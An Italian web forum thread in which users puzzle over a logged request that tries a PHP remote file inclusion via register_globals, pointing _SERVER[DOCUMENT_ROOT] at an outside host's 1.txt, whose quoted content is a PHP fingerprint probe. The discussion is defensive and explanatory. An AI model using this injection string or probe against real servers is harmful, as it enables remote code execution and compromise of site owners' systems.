-
Mi son trovato nei logScritto daNon Autenticatoil 2010-06-08 00:11:00.0 alle 2010-06-08 00:11:00.0una voce con
/doc/?_SERVER[DOCUMENT_ROOT]=http://www.slotmachinesforum.com/1.txt?
come referrer.
Cos'avrà tentato di fare costui?-
Re: Mi son trovato nei logScritto daNon Autenticatoil 2010-06-08 00:13:00.0 alle 2010-06-08 00:13:00.0> una voce con
>
> /doc/?_SERVER[DOCUMENT_ROOT]=http://www.slotmachin
>
> come referrer.
>
> Cos'avrà tentato di fare costui?
Mi sono sbagliato, non è il referrer ma l'URL chiamato. Quell'1.txt contiene la seguente stringa
<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>
-
Re: Mi son trovato nei logA occhio, overriding di una variabile globale del PHP, assumendo che l'impostazione register_globals sia su ON. Presumo un exploit automatico, preconfezionato, che viene usato su una marea di server sperando che su qualcuno di loro giri il PHP e che sia configurato in modo da accettare il nuovo valore di quella variabile. L'obiettivo finale potrebbe essere quello di far servire quella pagina e vedere se il codice funziona facendogli stampare una stringa di riconoscimento. Se il file viene eseguito, viene inserito fra una lista di potenziali vittime, e poi 1.txt verra` sostituito con codice virale.
-
Re: Mi son trovato nei logScritto daNon Autenticatoil 2010-06-08 13:32:00.0 alle 2010-06-08 13:32:00.0> A occhio, overriding di una variabile globale del
> PHP, assumendo che l'impostazione
> register_globals sia su ON. Presumo un exploit
> automatico, preconfezionato, che viene usato su
> una marea di server sperando che su qualcuno di
> loro giri il PHP e che sia configurato in modo da
> accettare il nuovo valore di quella variabile.
> L'obiettivo finale potrebbe essere quello di far
> servire quella pagina e vedere se il codice
> funziona facendogli stampare una stringa di
> riconoscimento. Se il file viene eseguito, viene
> inserito fra una lista di potenziali vittime, e
> poi 1.txt verra` sostituito con codice
> virale.
Sì ma, assumendo che register_globals sia ON,
/doc/?_SERVER[DOCUMENT_ROOT]=http://www.slotmachinesforum.com/1.txt?
che farebbe?
Perché _SERVER[DOCUMENT_ROOT]?
E sintatticamente che significa
_SERVER[DOCUMENT_ROOT]=url
?
Cioè se fosse ='url' assegnerei alla variabile una stringa come valore. Ma in che modo mettere semplicemente l'url sostituirebbe l'url con l'output dello script che si trova all'url?
$_RANONA
-
Re: Mi son trovato nei log> Sì ma, assumendo che register_globals sia ON,
>
> /doc/?_SERVER[DOCUMENT_ROOT]=http://www.slotmachin
>
> che farebbe?
>
> Perché _SERVER[DOCUMENT_ROOT]?
>
> E sintatticamente che significa
>
> _SERVER[DOCUMENT_ROOT]=url
>
> ?
>
> Cioè se fosse ='url' assegnerei alla variabile
> una stringa come valore. Ma in che modo mettere
> semplicemente l'url sostituirebbe l'url con
> l'output dello script che si trova
> all'url?
>
> $_RANONA
Ranona anche qui.
Dico solo che mi sembra voglia fare in qualche modo una cosa del genere, ma nel dettaglio non saprei. Aspe` che cerco un attimo la tabella delle variabili superglobali _SERVER...
da:
http://www.php.net/manual/en/reserved.variables.se...
risulta:
'DOCUMENT_ROOT'
The document root directory under which the current script is executing, as defined in the server's configuration file.
Appunto. Forse ridefinire il percorso alla document root per come il PHP lo conosce poteva in qualche modo dirigerlo li`, indurre il server ad eseguire quello script remoto pensado che boh... che dovesse mostrare l'indice della root. Ora, che il PHP con register_globals attivato potesse addirittura ridefinire variabili importate dal file di configurazione del parser, non lo sapevo. Di certo oggi non funzionerebbe, anche perche` register_globals e` per default disattivato dalla versione 4.2 (molto vecchia) ma magari sperava di trovare qualche server con una versione molto vecchia.
-
-
-